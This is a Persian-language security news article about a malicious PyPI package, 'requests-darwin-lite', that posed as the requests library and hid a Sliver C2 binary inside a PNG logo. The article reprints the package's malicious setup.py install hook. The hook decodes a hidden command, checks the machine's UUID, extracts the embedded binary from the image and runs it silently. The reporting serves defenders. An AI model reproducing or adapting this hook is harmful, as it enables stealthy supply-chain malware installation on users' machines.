محققان امنیت سایبری Phylum، یک پکیج مخرب پایتون را شناسایی کردهاند که ظاهراً شاخهای از کتابخانه requests محبوب است. این پکیج مخرب، یک نسخه Golang از فریمورک فرماندهی و کنترل Sliver را در یک تصویر PNG از لوگوی پروژه پنهان کرده است.
پکیجی که از این ترفند استگانوگرافی استفاده میکند، “requests-darwin-lite” نام دارد که 417 مرتبه تا پیش از حذف از رجیستری Python Package Index (PyPI)، دانلود شده است.
تغییراتی در فایل setup.py پکیج ایجاد شده است که برای رمزگشایی و اجرای یک فرمان رمزگذاری شده با Base64 به منظور جمع آوری شناسه منحصر به فرد جهانی (UUID) پیکربندی شده است.
گزیدهای از فایل setup.py پکیج کتابخانه requests اصلی به شرح زیر است:
# --- CLIPPED ---
class PyTest(TestCommand):
user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]
def initialize_options(self):
TestCommand.initialize_options(self)
try:
from multiprocessing import cpu_count
self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
except (ImportError, NotImplementedError):
self.pytest_args = ["-n", "1", "--boxed"]
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
import pytest
errno = pytest.main(self.pytest_args)
sys.exit(errno)
setup(
# --- CLIPPED ---
cmdclass={"test": PyTest},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "",
"Source": "",
},
زنجیره نفوذ تنها در صورتی ادامه مییابد که شناسه با یک مقدار خاص مطابقت داشته باشد؛ به این معنا که نویسنده(های) پشت پکیج به دنبال نفوذ به یک دستگاه خاص است و شناسهای را از قبل در اختیار دارد که توسط سایر متدها به دست آورده است.
این شواهد، دو احتمال را ایجاد میکند: این یک حمله بسیار هدفمند است و یا نوعی فرآیند آزمایشی پیش از یک حمله گستردهتر.
چناچه UUID مطابقت داشته باشد، requests-darwin-lite اقدام به خواندن دادهها از یک فایل PNG به نام ” requests-sidebar-large.png” خواهد کرد که شباهتهایی با پکیج کتابخانه requests اصلی دارد و با فایل مشابهی به نام “requests-sidebar.png ” ارسال میشود.
فایل setup.py از پکیج مخرب requests-darwin-lite به شرح زیر است:
# --- CLIPPED ---
class PyInstall(install):
def run(self):
if sys.platform != "darwin":
return
c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
uuid = raw[raw.find(k)+19:raw.find(k)+55]
if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
dest = "docs/_static/requests-sidebar-large.png"
dest_dir = "/tmp/go-build333212398/exe/"
with open(dest, "rb") as fd:
content = fd.read()
offset = 306086
os.makedirs(dest_dir, exist_ok=True)
with open(dest_dir + "output", "wb") as fd:
fd.write(content[offset:])
os.chmod(dest_dir + "output", 0o755)
subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
install.run(self)
setup(
# --- CLIPPED ---
cmdclass={
"install" : PyInstall,
"test": PyTest,
},
tests_require=test_requirements,
extras_require={
"security": [],
"socks": ["PySocks>=1.5.6, !=1.5.7"],
"use_chardet_on_py3": ["chardet>=3.0.2,<6"],
},
project_urls={
"Documentation": "",
"Source": "",
},
)
آنچه در اینجا متفاوت میباشد این است که لوگوی واقعی تعبیه شده در کتابخانه requests دارای حجم 300 کیلوبایت است، در حالی که لوگوی موجود در داخل requests-darwin-lite حدود 17 مگابایت میباشد!
داده های باینری پنهان شده در تصویر PNG، یک فریمورک متن باز C2 به نام Sliver میباشد. Sliver مبتنی بر Golang بوده و برای استفاده توسط متخصصان امنیتی در عملیات red team (تیم قرمز) طراحی شده است.
هدف نهایی این پکیج در حال حاضر مشخص نیست، اما چنین توسعهای حاکی از آن است که اکوسیستمهای منبع باز، همچنان بردار جذابی برای توزیع بدافزار میباشند. هجوم بدافزارها به npm، PyPI و سایر رجیستریهای پکیجها بر نیاز به رسیدگی به مسائل سیستماتیک در پایگاه های کد منبع باز تاکید دارد.